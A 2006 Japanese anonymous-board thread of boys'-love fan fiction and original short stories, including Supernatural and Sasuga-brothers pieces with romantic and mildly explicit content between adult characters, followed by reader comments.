|>PLAY ピッ ◇⊂(・∀・ )ジサクジエンガ オオクリシマース!

あなたはあれを疎んでいるようで、実は切望しているのだ。
欲しくて、でも手に入らなくて、諦めて忘れようとしたはずなのに忘れられない。
願望、それを上回る理想の存在。

「所長、食べかすとかゴミとか、こっちに飛ばさないでください。」

一口かじられただけの、色々な種類のドーナツがデスク(とは言い難い大きな作業台の様なもの)に転がっている。デスクに寝転がってゲームに興じながらドーナツをむさぼる彼は、さながら子供のよう。

「何ぃ、別にいいじゃん。掃除すんの偲田さんじゃないんだからさあ」
「……それもそうですね。そのままどうぞ。おい、後でオフィスキーピングの人呼んどいて」

今日はいつも以上に駄々っ子だな。こんな時は素直に従ったほうが利口だ。彼の機嫌が斜めなのは、恐らくあのクライアントのせい。


今日依頼にきたクライアントは、痴漢の疑惑をかけられた青年とその父親だった。
真面目で気の弱そうな青年はひどく落ち込んだ様子で、始終うつむいてほとんど喋らない。父親は必死に、彼がいかに真面目で、そんなことをするような人間ではないということを熱弁していた。

そんな感情論、裁判じゃ何の役にも立たないんだよ親父。そんなことを思いながらも彼の話を聞いていた。

いきなり横でカタカタと音が聞こえ出し、その音は段々大きくなっていく。それが所長の貧乏揺すりだと気が付くのに、そう時間はかからなかった。
ダンッ、と一際大きな音。
イラつきが最高潮に達した所長が床を強く蹴った音だった。

「アンタもさあ、黙ってないで何か言いなよ」

床にしゃがみこみ、うつむく青年の顔を下から覗き込む。
こうなってはもう駄目だ。話し合いにならない。驚き慌てる青年と父親を、ほぼ無理矢理な形で帰らせた。
<> 2/4<>sage<>2006/10/30(月) 04:13:03 ID:cRQsLFZbO<> 「何ぃ、アレ。ああいうのって見ててイライラするよね」

さっきまで青年が座っていた椅子を蹴り倒す。アルミフレームのその椅子は、派手な金属音を立てて床に転がった。

「……報酬をしっかり払えるだけの経済力はあるクライアントです。彼らの前であまり感情的にならないでくださいね」
「…分かってるよ。」

そう捨て台詞を吐いて、彼は事務所を去った。

めっぽう意固地で、めっぽう寂しがり屋。その上温かな感情に臆病な、まるで反抗期の子供。

俺は彼が感情を爆発させるたびに、彼を諭すことに悦びを感じる。父性、とでもいうのだろうか。
いや、それとは違うな。
本当は分かっているくせに、と脳内のもう一人の自分に嘲笑された。

意固地で寂しがり屋で、温かな感情に臆病なのは俺も同じだな。


戻ってきた彼は、大きな紙袋を抱えていた。あれは何かとドライバーに聞くと、ドーナツです、と答えた。
全品百円セールの派手な貼り紙が目に止まったらしく、本当に全品一つずつ買って来させられた。恥ずかしかった、とドライバーはぼやいていた。
彼は広いデスクに飛び乗り、しゃがみこんでガサガサと袋のドーナツを品定めしていた。
そして今に至る。 <> 3/4<>sage<>2006/10/30(月) 04:16:22 ID:cRQsLFZbO<> 「…所長、」

返事が無い。
パソコンのモニターを閉じて見てみると、彼はゲーム機とドーナツをそれぞれ片手に持ったまま突っ伏していた。

「…スーツが皺になりますよ」
「……うーん」

力無い、間延びした返事。

「…ねえ偲田さぁん、俺あのクライアント嫌いだよ。痴漢野郎も、あの親父も」

正しくは“仲の良い親子が”、でしょう?思ったが口には出さないでおいた。

しばしの沈黙。
俺のパソコンのタイプ音だけが静かな部屋に響いた。

すると彼はいきなり立ち上がり、丸めた紙ナプキンをむんずと掴んでまるで遠投でもするかのようにそれを投げた。
軽い紙ナプキンのボールは大して遠くに飛ばず、俺の背後に音もなく落ちた。 <> 4/4<>sage<>2006/10/30(月) 04:21:28 ID:cRQsLFZbO<> 「…やるよ。やるからには勝つ」
「ええ。」

いつも通りの彼だ。
ご機嫌斜めで我儘を言われるのも、それはそれで割と心地好いのだが。少し残念だ。

これ以上彼のことについて考えるとまた要らないことに気付いてしまいそうなので、仕事に集中するために窓横の自分のデスクに移動した。

欲しくて、でも手に入らなくて、諦めて忘れようとしたはずなのに忘れられない。
人を騙すのはあんなにも簡単なのに、自分を騙すのは難しい。実に難しいのだ。


□ STOP ピッ ◇⊂(・∀・ )イジョウ、ジサクジエンデシタ!

普通の上司と部下じゃないけど恋人未満な関係を書きたかった。
ムラムラしてやった。後悔はしている。 <> 風と木の名無しさん<>sage<>2006/10/30(月) 04:25:11 ID:cRQsLFZbO<> >>476
GJGJGJ!!!!!
かぶってもうた(ノA`)アチャー
秀作の後に駄作投稿すまんこでした <> フラクラ ネタバレ注意<>sage<>2006/10/30(月) 18:09:52 ID:jWu9ThTs0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     | 携帯アプリRPGフ*ラ*イ*ハ*イ*ト*ク*ラ*ウ*デ*ィ*ア妄想SSモナ
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄| 二刀流主人公+大剣使い親友で2は未クリアらしいよ
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ それで再会ネタとは無謀な…
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> フラクラ ネタバレ注意1<>sage<>2006/10/30(月) 18:11:55 ID:jWu9ThTs0<> 「□ナード!」
 心配した。本当に。
 雲の下に広がるのは死の世界。何も無い。ずっとそう思っていたから。
 一人で立ち向かうなんて馬鹿野郎。残された方の身になってみろ。何が策士だ、
聞いて呆れるぜ――。

 言いたい事は山ほどあった。
 この親友の嫌味なくらい整った澄まし面を一発殴って反省させてやるんだと決め
ていた。
 だが、大尉の階級章も眩しいダルムシュ夕ットの青い軍服姿のまま、流石貴族と
思わせるノーブルな美貌も何ら褪せぬ無事な……それでいて、確実に何かが変わっ
たのだと、そう一目でわかる姿に用意していた言葉達はすっかり行方を失ってしま
った。

 もの凄い勢いで、胸倉の青い布地を引っ掴む。ここまでは予定通り。
 しかし片手ではなく両手、抉りこむ様な右フックではなく、愕然というに相応し
い怒鳴り声が□ナードの顔面に炸裂する。

「髪は!?」
「……は?」

 仲間を案じ、いつか再び見えんと必死の努力を重ねていたのは□ナードも同じだ。
祖国クラウティアの美しい空とはあまりにも違う禍々しい赤き空に、湧き上がる孤
独感と絶望を意志の力で抑え付けて。
 そして今、ずっと会いたいと願い続けた親友が目の前にいる。その再会の感動を
堪え僅かばかり潤んですらいた切れ長の双眸が点になった。
<> フラクラ ネタバレ注意2<>sage<>2006/10/30(月) 18:13:13 ID:jWu9ThTs0<> 「髪だ、髪!! あの緑の黒髪はどうしたんだ!?」
「え? あ、ええと……」
「枝毛を探すのが楽しかったのにっ!
 三つ編みして遊ぼうって皆で計画してたのに……!!」

 色々と突っ込みどころが多すぎて話にならない。
 若くして優秀な士官の誉れ高い(筈の)レイナヌ・シルバー□ードは憤怒の形相で、
同僚を締め上げるというより相手に縋り付いている。因みに、熱い抱擁を交わそうと
していた□ナードの両手は虚しく宙に浮いたままだ。

「とりあえず、落ち着け。な?」
 □ナードはぎこちない動作でその手を親友の肩に置き、この男にしては非常に珍し
い事に相手を宥めようと極力優しく話しかける。
 内心大いに困惑しているのだが、激昂して判断力を欠いたレイナヌの目には、従来
表情に乏しい親友の顔はただ不機嫌そうとしか映らない。それが火に油を注いだ。

「これが落ち着いていられるか!
 『女性をうっとりさせる外見』とかいう公式設定のくせに女難男難イベントも女装
イベントも無かったし! お前ばっか格好良くてずるいじゃないか!!
 髪型くらい俺の好きにさせろー!」
「お前言ってる事が無茶苦茶だー!!」

 □ナードはついに逆ギレした。
<> フラクラ ネタバレ注意3<>sage<>2006/10/30(月) 18:14:30 ID:jWu9ThTs0<> 「久しぶりに会って言う事がそれか、いい加減に……っ」

 自分の声で目が覚めた。
 勢い良く寝台から飛び起き、常に手元に置いている愛剣の柄に手をかけ、辺りを見回
す。すぐに行動できるよう、眠る時でも軍服だ。
 何ら変哲の無い手狭な一室の気配を暫し警戒露に探った後、やっと肩の力を抜いた。

「……夢、か」
 安宿の窓からは、薄紅色の月明かりが差し込んでいる。
 枕元に纏めた僅かな荷物も、卓上の罅の入った水差しも、就寝前と全く変わらぬ位置
にある。
 それが残念だった。こちらが夢なら、どんなに良かった事か。
 汗を含んで湿り気を帯びた髪に指を差し入れる。以前ならば肌に纏わりついて鬱陶し
い事この上無かっただろう。
 涼しくなった項を撫で摩り、ふと親友を思い出す。

 お互いどちらかと言えば生真面目な方だが、相手に関ると血気盛んな一面を発露せざ
るをえない事が多々あった。
 あれはいつだったか――士官学校時代、知り合って間もない頃だったろうか。

 些細な事から取っ組み合いの喧嘩になって、相手の服の釦に髪が引っ掛かってしまっ
た事がある。それだけなら笑い話だが、顔を顰めて痛がったのは自分なのに、ひどく狼
狽したのは彼の方だった。
 引き千切るには確り一束絡まってしまっていてどうしようもなく、行動を共にする事
になった挙句、結局鋏を持ち出して髪を断とうとするのを止めた彼は、あっさりと制服
の釦の糸の方を外して見せた。
 最初からこうすれば良かったんだ、と笑いながら。 <> フラクラ ネタバレ注意4<>sage<>2006/10/30(月) 18:17:46 ID:jWu9ThTs0<>  その後、彼の制服に誰が釦を縫い付けるかで上着の取り合いになったが、それこそ笑
い話だろう。
 こんな出来事をいつまでも憶えている自らが気恥ずかしく、僅かに口端を歪める。だ
からあんな可笑しな夢を見たのかもしれない。
 下らない思い出話に興じるのも、相手がいればこそだ。


 明日、ザ一ドなる人物に会いに行く。

 雲の上クラウティアに、忠誠を誓う祖国に、大切な仲間達に――そしてたった一人の
親友に繋がる細い細い糸。
 これが駄目なら後が無い。
 クラウティアは実在する。夢の理想郷ではないのだ。争いも悲しみもある、だが自分
の居場所がある世界。

 必ず帰る。
 でないと、誰があの寝起きの悪い男を朝起こすのだ。
 萎えかける決意を新たに、胸に剣を抱いて今度こそ夢も見ない様な深い眠りに身を委
ねた。 <> フラクラ ネタバレ注意 終り<>sage<>2006/10/30(月) 18:19:08 ID:jWu9ThTs0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ ……他二人が消えててもも色々変でもキニシナイデAA弄る技術無いって
 | |                | |     ピッ   (・∀・ ) 鉄は熱いうちに打てという事で、勢いだけで書いたってさ
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> フラクラを書いた者<>sage<>2006/10/30(月) 20:27:25 ID:zjRXakO1O<> スマソ、ダルムシュ夕ットではなく力イゼルシュルトの間違いでした…。
何と間違えてるんだ自分。

お空の竜にレベル45で突っ込んで来ます…… <> 風と木の名無しさん<>sage<>2006/10/31(火) 17:54:20 ID:D/2jeiww0<> >>466
亀だが
ここで出会えるとは・・・!GJ! <> 風と木の名無しさん<>sage<>2006/11/03(金) 00:03:30 ID:Cb91UCaM0<> |>PLAY ピッ ◇⊂(・∀・ )ジサクジエンガ オオクリシマース!
ほぼオリジナルとかした、しかも今更なh.o.l.d u.p d.o.w.nで拳銃マニア×スピード狂。
へぼんですまぬ。


ああ、くそっ!! さっきまで奴を追いつめていたのは俺だったはずなのに!
そう、バットを持たない奴を追いつめるのは簡単だった。
…たまたまゴミ捨て場にあったバットを拾われるまでは。
拳銃があればっ、あんな奴すぐに正当防衛の傘を着て弾を撃ち込んでやるんだがっ。
悲しいかな、俺の愛しい拳銃たちは一つも残らず押収されてしまった。
くびにならなかっただけ感謝はしてる。
署長が九死に一生を得てくれて助かったぜ!

バット野郎と木場の距離の差は段々縮まっている。
そろそろ走るのもしんどくなってきた。…年の所為とは思いたくない。
が、足を止めれば自分に起こるだろう悲劇はありありと想像できたので、足を止めるわけにはいかない。
木場が急いで角を曲がろうとしたその瞬間。
木場の目の前すれすれに、甲高い音をたてて車が止まった。
まるで映画のワンシーンの様に。

この車あっぶな! 俺を轢き殺す気か!!
この運転手検挙してや……る………
瞬間的に爆発した怒りは、また瞬間的に萎んでいった。
運転席の男は木場の良く知る男だった。
むしろ知りたくない男だった。 <> 2/4<>sage<>2006/11/03(金) 00:04:14 ID:h9j7GxJw0<> ………星野。
職場でもなるべく顔を合わさないようにしてきたのに。
こんな所で会うとは。
星野は、この俺よりずっと黒い笑顔で見つめてくる。
にやにやにやにやにやにや!
助けてくれって言えば助けてやらないこともないってか?
よしてくれ!お前の車に乗るなんて自殺行為もいいとこだ!
いつも弱気な子持ちのこんな男にこの俺がビビらされるなんて屈辱以外の何物でもない。
事故をネタに脅して、搾り取れるだけ搾り取ろうと思っていたのだが。
こいつがあんなスピード狂の二重人格者だったなんてなぁ。
人は見かけによらないものだ。
ここまでが数秒で頭の中を駆け巡り、後ろから迫り来る足音によってかき消された。
と、とにかく、今は覚悟を決めて車に乗るしかない。
バットで嬲られるよりはマシだと信じよう!
それにこいつも少しは安全運転してくれるかも………なんて俺の甘すぎる考えはすぐにうち砕かれた。

先ほどから恐ろしい程の勢いで周りの風景が後方に流れていっている。
流れるというよりもすっ飛んでいると言った方が正しいに違いない。
制限速度?
そんなもの星野の辞書にはない。
ああああああああ!恐い恐い!すっげぇー恐い!
こんな速さのままカーブ曲がったら車体がフライしちゃうって!フライ・俺・フライ!
お、お前は豆腐屋の息子じゃないんだぞ!!!
ましてや赤城の白い彗星でもないんだっ!!
星野はさきほどからずっと、まるで獲物を見つけた肉食獣の様なぎらついた目で、舌なめずりしている。
…いっちゃってる目だ、と木場は確信する。 <> 3/4<>sage<>2006/11/03(金) 00:05:33 ID:h9j7GxJw0<> つい一、二週間前まで、同僚のこんな一面知らなかった。
こいつとペアになってから、この男の身辺は調べられる限り調べた。
相手の弱みを握っておけ、というのはやのつく職業の友人からの有り難き薫陶だ。
星野は、いつだって隅っこに居るような、大人しくて、地味で、ぱっとしない刑事だった。
まだ幼い子供が6人も居て、ちょうど半年前に妻と離婚した、と言うこと以外何も特筆すべき所はない。
なかったはずだ。
こんなスピード狂のいかれた奴だと知っていたら運転は自分でした。
握ったと思った弱みは今や有耶無耶になり、この密室に居る限り、パワーバランスは奴に分がある。
スタントなしで走行中の車から降りられる訳もないので、こいつが落ち着いてくれるのを待つしかないのだ。
こんなハズじゃなかった!
プライドの高い木場が何よりも認めたくないのは。
立場が逆転してしまったこともあるが、それ以上に認めたくないのは……

このどうしようもなくスピードにいかれちまってる子持ち男に自分がいかれてしまったことだ。

まあいいさ。
車が止まったら、その時こそこっちのペースで迫ってやるとしよう。
今は精々楽しむとしよう。
こんなドライブ、そんじょそこらの女とは無理なんだから。
……八割方は見栄だけど。

―――――これが所謂「吊り橋上の恋」というものだとは、木場は知らない。
<> 風と木の名無しさん<>sage<>2006/11/03(金) 00:07:14 ID:h9j7GxJw0<> □ STOP ピッ ◇⊂(・∀・ )イジョウ、ジサクジエンデシタ!
トラック運転手×メシア投下にまたくるかもしれません……
<> 492<>sage<>2006/11/03(金) 00:09:16 ID:h9j7GxJw0<> うわあああああ!!!伏せ字忘れあwせdrftgyふじこlp
本当にすまない。 <> 風と木の名無しさん<>sage<>2006/11/03(金) 23:22:29 ID:eVrvtjsj0<> >403
亀すぎてスマンがGJ!!!!!!
空沢とキムが読みたくてここ通ってるようなもの…!!
また気が向いたら投下してくれw <> 風と木の名無しさん<>sage<>2006/11/04(土) 02:29:21 ID:SJaO8tft0<>
 ____________
 | __________  |      最近話題の海外ドラマ、超常現象の弟×兄
 | |                | |      見方によっては兄×弟とも取れる
 | | |> PLAY.       | | 
 | |                | |           ∧_∧
 | |                | |     ピッ   (・∀・ ) ヨワキなヘタレ兄の話だってさ
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
<> 1/5<>sage<>2006/11/04(土) 02:36:09 ID:SJaO8tft0<> 目の前にはドアがあった。

見慣れていたはずのドア。 それが酷く懐かしい気分にさせる。
ドアノブに手を伸ばしながら、それは弟の部屋の扉だったことを思い出した。

四歳の小さな己の手のひらが、ドアノブにどんどん近づいていく。
しかし近づくほど、なぜか背後から、背筋から嫌な冷気が迫ってくる。

「開けるな」

警告の声が頭のどこかで聞こえたが、すでにその手はドアノブに触れていた。
<> 2/5<>sage<>2006/11/04(土) 02:38:38 ID:SJaO8tft0<> そのドアノブの異常な温度に、びくりと体がこわばった。
氷よりも冷たく、また地獄の炎のように熱い。 むしろそれは温度よりも強烈な刺激として神経を駆け抜けた。


―――女の悲鳴。

躊躇うことなく扉を開けた。 そこはまごうこと無きあの日だった。

怖ろしい姿の母 燃える部屋 熱い熱風

「母さん!」

何もかもあの日だった。
唯一つ違うのは、ベビーベッドの前に男が一人座り込んでいただけだ。

俺は迷わずそいつの名を呼んだ。

「サム!」
「ディーン!」


弟は手を伸ばし、俺の名を叫んだ。
俺は駆け寄ろうとしたが、一歩踏み出した瞬間熱風が吹き荒れた。

炎が全てを飲み込んだ。


 母も 部屋も             そして弟も <> 3/5<>sage<>2006/11/04(土) 02:40:32 ID:SJaO8tft0<> 「…っ!!」

勢いよく上半身を起こし、今までのが夢だということに気づいた

まったく酷い悪夢。寝覚めは最悪。
全身の汗がシャツを張り付かせ、体温を奪っていく。 その感触も最悪だ。

今まで魘されていた弟の気分を身をもって知ったよチクショウ。


「サム」

無意識に弟の名を呼ぶ。
比較的広めのモーテル。隣のベッドで寝ているはずの弟の姿がない。

「サム?」

もう一度よぶ。 声は真っ黒い天井に吸い込まれるばかり。 当然返事は無し、だ。

不安感がじわじわ広がる。先に見た悪夢のせいだ。
こんなのは俺のキャラじゃない、まったくもってごめんだよ。


時計は午前3時。
スピーカー越しの小さな笑い声が聞こえる。チカチカ反射する光。
ふと振り返れば備え付けのテレビが深夜放送を垂れ流していた。

俺は一つ溜息をつきながら、そのテレビ正面に据え置かれたソファーに近寄った。
テレビの光に浮かんだ頭のシルエット。 間違いなくそれは弟だ。 <> 4/5<>sage<>2006/11/04(土) 02:43:02 ID:SJaO8tft0<> おいサム、と文句を言おうとしたがやめた。
弟はぐったりとソファーにもたれ掛かって眠っていた。 口がだらしなく半開きだぜ、サミー。

いつもの様に悪夢に魘されて起き、テレビでも見てるうちにまた眠ってしまったんだろう。
上に何も掛けずにぐっすりと眠り込んでいる。


10cm以上も身長を超した弟を、子供のときのように抱えられるわけがなく、かといって
気持ちよさそうに寝ている顔を見てると起こすのが気の毒にも思える。

しょうがないと思いながらも、弟のベッドから毛布を引きずり出した。
それを丁寧に掛けてやった。弟がおきないようにそっと。


我ながららしくないと思ってるよ。別に悪夢を見たせいなんかじゃないぞ。
愛車の助手席で悪夢から目覚める弟。それを女々しいと笑い飛ばす俺。それがいつものスタイルだろう? <> 5/5<>sage<>2006/11/04(土) 02:45:29 ID:SJaO8tft0<> 弟の穏やかな寝顔を見ているうちに、自然と手が伸びた。

両手で頬を包み込み、その感触を、温度をしっかりと確かめる。
睫毛の数が解るほど顔を近づけ、そしてそっと口付けた。


最初は瞼に、次に額。そして最後はその唇に。  慈しむよう、ゆっくりと…


己の唇で、弟の吐息を確認したとたん、今まで胸の底に溜まっていた不安が流れるように消え去ったのを感じた。
むしろ普段よりも穏やかな気分だ。

サムは起きない。
それにすこし安堵しながらゆっくりと手を離す。


「おやすみ サミー」


自然と顔が緩み、そんな言葉が漏れる。

弟の寝息のリズムが変わらぬままなことに満足しつつ、徐々に自分が何をしでかしたかを知覚してきた。
チクショウ、俺はゲイじゃねぇぞ。

途端に耳まで熱が駆け上がってくるのを感じながら、急いで俺はベッドにダイブ、そのまま毛布を頭まですっぽりと被り込んだ。 <> 風と木の名無しさん<>sage<>2006/11/04(土) 02:49:07 ID:SJaO8tft0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ オニーチャーン!!
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
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超常現象スレは在るんだけど、そんな雰囲気じゃないからこっちに投下した スマソ
あと弟が全然伏せれてなくてさらにスマソ
<> 風と木の名無しさん<>sage<>2006/11/04(土) 07:05:15 ID:5xp+6q6G0<> >>498
乙ー!!!
最近めっきり弟×兄な自分が来ましたよ(*´Д`)
禿げモエス!ありがとう!! <> 風と木の名無しさん<>sage<>2006/11/04(土) 17:28:41 ID:ZJ9a7LSD0<> >498
gj!!
日本語で読めてウレシスかつツンデレ兄萌えwww
弟の逆襲?も見たいとか言ってみる。 <> 風と木の名無しさん<>sage<>2006/11/05(日) 00:25:57 ID:4FCYduL10<> >497サンのおかげで見落としてたきキム唐が読めてよかったvv
>403サンGJ♪ <> 0・y2=2<>sage<>2006/11/05(日) 06:18:52 ID:XTF3mBhw0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  流石兄弟
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  平安ヘボン・リバ・無駄に長いぞ。
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ Water!
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

配布。つ流石フィルター。 これさえつければみな流石。 <> 0・y2=2 1<>sage<>2006/11/05(日) 06:22:42 ID:XTF3mBhw0<>
 渡殿を通る足音で、相手の機嫌がわかる。
 今日は大分いらついている。
 いつもより早くそこを渡りきり、妻戸を蹴たてるように開く。

「弟者、お前わざと行かせたな」
 普段は母屋で着替えてくるのに、今日は珍しく整った直衣姿で、流石に権門の若君らしくあてに華やいで見える。
「……今日はまだ、イかせてませんが、何か」
 答えるほうはくったりと柔らかな生絹(すずし)の単で、しどけなく着込んでいるため、胸もとの膚が冷えた光沢を見せている。
「内裏に決まっているであろう。ひどい目に会った」
 そこに目を奪われながらも、憤懣やるかたなくくってかかる。
「おまえ、いったい何人の女房に手を出しているのだ」
「さあ…数えていませんな」
「午後、4、5人ほどに取り囲まれて体育館の裏…じゃない朝餉(あさがれい)の間に連れ込まれた」
「ほう、なかなか積極的で」
「冗談じゃない。口をそろえて責めたてるのだ、不実な俺を」
「流石兄者。よっ、恋のさすらい人!」
「全部おまえじゃないかっ」

 そしらぬ顔の弟は、しとねの上に身を横たえたまま、土器(かわらけ)の中の濁り酒を呑む。
面憎いほどに表情は変わらない。

「特にあの、左近とか言う女房、実に恐ろしかった。『いえ、私のことは忘れられてもいいのですけれどね、
二人のことを誓ったあなたが神罰で亡くなるのではないかと思うと惜しまれてなりません』って、
脅迫だぞ、あれは。絶対に丑の刻参りかなんかやっている」
「呪われるのはオレじゃん」
「それなら……って名前は俺じゃないかーー」 <> 0・y2=2 2<>sage<>2006/11/05(日) 06:25:57 ID:XTF3mBhw0<>
 年月隔てたその昔、大納言の北の方が産み月を迎えた。
 待ち望まれたはずのその子は、一人ではなかった。その時代、不吉とされる双つ子。
取り囲む女房たちは驚き脅え、その忌み子の始末を語り合った。
 それを静めたのは、たった今産み落としたばかりの北の方自身だった。
 捨てるつもりはない、と彼女は言う。
 内裏はそれを許さないだろう、との声にからからと笑い、生まれたおのこは一人と告げよ、とのたまった。
 流石、検非違使5人がかりで押さえきれなかった賊を、ただ一人、片腕で投げ飛ばしたことのある北の方、
その剛毅さは例えようもない。
 若君は一人とされた。東の対の奥に東北の対が築かれ、そこで密かに育てられた。 <> :0・y2=2 3<>sage<>2006/11/05(日) 06:29:59 ID:XTF3mBhw0<>
「……で、どうやって切り抜けたんですか?」
「尚侍の君が…って姉者だがな、通りかかってどうにか助けてくれた」
「あちゃー」
「どうせ弟者のやったことでしょ、って。明日局に行け。そして叱られろ」
 彼女には、二人ともに頭が上がらない。
「ここしばらく会わなかったが、元気でいらっしゃったか」
「もちろん。変わらないな、主上との仲も」
「たとえ至高の存在であろうと、一人に縛られる方ではないからな」
「そうだな。こっちは?」
「うむ、昼に妹者が泣きながら駆け込んできた」
「なんと。何故に」
「雀の子をイノキが逃がしつる、と」
「イノキって何?」
「今度新しく雇った雑仕だ。母者並に大きいがなんとも不器用な男でな、へまばっかりやっている。
せっかく捕まえた雀を逃がしてしまったらしい」
「ほう」
「だからこちらも、生き物を飼うことは罪深いことですよ、と柄にもなく説教」
「罪深い…かな」
 傍らの円座に腰を下ろし、まっすぐに彼を見る。
「俺はむしろ飼われていたいね、おまえに」
 燈台に点された明かりが揺れる。几帳に、二人の影が映っている。
弟者は兄から目をそらし、その影を振り返った。
「………無理なことを」
「でもないだろう。どうせ誰も気づかない。俺は部屋に籠っていたいのだ」
 ごく身近なものしか二人の面立ちの違いはわからない。元服したころ、兄者が弟をそそのかした。
自分の身代わりになることを。
 最初はおずおずと、次第に大胆に、弟者はその役を楽しみだした。
兄の名を名乗り、兄として、蔵人の職を、いくつもの情事を。
 同時に兄者は弟としての暮らしになじむ。誰にも会わずに一人部屋で、書や絵物語に親しむ姫君めいた生活。
 しだいに互いとしてすごす日が多くなっていく。
 今では5日に1度ほど、強く弟者に促された兄がきわめて義務的に参内するようになっていた。 <> 0・y2=2 4<>sage<>2006/11/05(日) 06:33:03 ID:XTF3mBhw0<>
「従兄弟者は気づいている。あと、たぶん主上も」
「それは一大事ではないか」
「事を荒立てる気はないようだ。ただ、あの方はあなたのことが気に入っているから、
オレが出仕するとほんのちょっとがっかりする」
「気のせいではないのか」
「先日、モララー殿にも言われた。貴殿がやや不調な日に限って主上のご機嫌が麗しいようだ、って」
「うわ、まず」
「と、言うことであきらめて今までどおりで」
「はぁ」
 大きなため息をつく。
「また身に覚えのない理由で、女房にガンつけられたりするのだな」
「なるべく気をつけますよ」
「妹者くらい素直な子ならいいのだが。そういや彼女は落ち着いたのか」
「まあね。夜も来ていいか、と言うから、夜はひちりきの練習をせねばならんのでだめだ、と言っておいた」

 ちょうど口にした酒を盛大に噴く。

「ちょ…おま……」
「笙とまでは言えないしな」
 顔を赤らめた兄者の膝をそっと撫でる。
「で、上?下?」

 からかうような声に、意地を取り戻したらしく、ぶっきらぼうに選択する。

「あんた、外に出ると大抵抱くほうやりたがるな」
「これでも攻撃的になるんだ……静めてくれ」
「OK」 <> 0・y2=2 5<>sage<>2006/11/05(日) 06:37:57 ID:XTF3mBhw0<> 含んだ笑いとともに承諾した。



 すだれ越しに、月の光が射し込む。
 今宵の月はわずかに朱の色を含んでいる。
 先刻、怒りつつ歩いた御所の玉砂利の上で、それを見ながら弟を思った。
 今、腕の中の相手は火影に映えて、その月に似て見える。
 ぬめるような艶を持った袍(ほう)が、無造作に投げ捨てられ、二藍の帯が床に流れた。
 指貫(さしぬき)を脱ごうとして、その紐を絡めてしまう。
 いらついていると、器用な指先が瞬時にそれをほどいてくれる。
 ほどいた弟者は、口もとに苦い笑いを浮かべた。

 ――これじゃ、どんな深窓の姫君も、自分で脱ぐぞゴラァって思ってるな。
 しかし苦情がきた覚えはないので、その後のことはどうにかこなしているのだろう。
 胸が痛む。それもひどく。
 自分のことは棚に上げて、自分以外の誰かに会う彼を恨んでしまう。
 ――全て奪って、閉じこめてしまいたい。
 吐息を感じながら、かすれた声であえぎながら、闇のような感情を抱いている。
 自分から躯を開いて、片足を相手の肩にのせて、腰を浮かせて誘いかける。
 片割れが耐えられずに重みをかける瞬間、多分その相手以外の全てを嘲笑している。
 綺麗ごとで包んで、兄者をいさめる自分が嫌いだ。
 冷静だの、理性的だのと言われて、そんな風にふるまう自分など、さっさと消えてしまうがいい。

 その想いは兄者にはわからない。
 ただ、苦しそうに見えるだけだ。
 「……辛い?」
 黙って首を横に振る彼を、優しくそっと抱きしめる。
 なだめるはずがなだめられて、そのままゆっくり溶けていく。
 夜風が、火影を揺らした。
 重なった影も揺れ、ふいに、固く停まった。
<> 0・y2=2 6<>sage<>2006/11/05(日) 06:41:39 ID:XTF3mBhw0<>
 東の対にも自室がある。
 ちょうど渡殿の手前の場所だ。そこには二人して行くことはない。姿を現すのはどちらか一人だ。
 そこに消えていく弟者を見送り、昨夜の会話を思い返している。
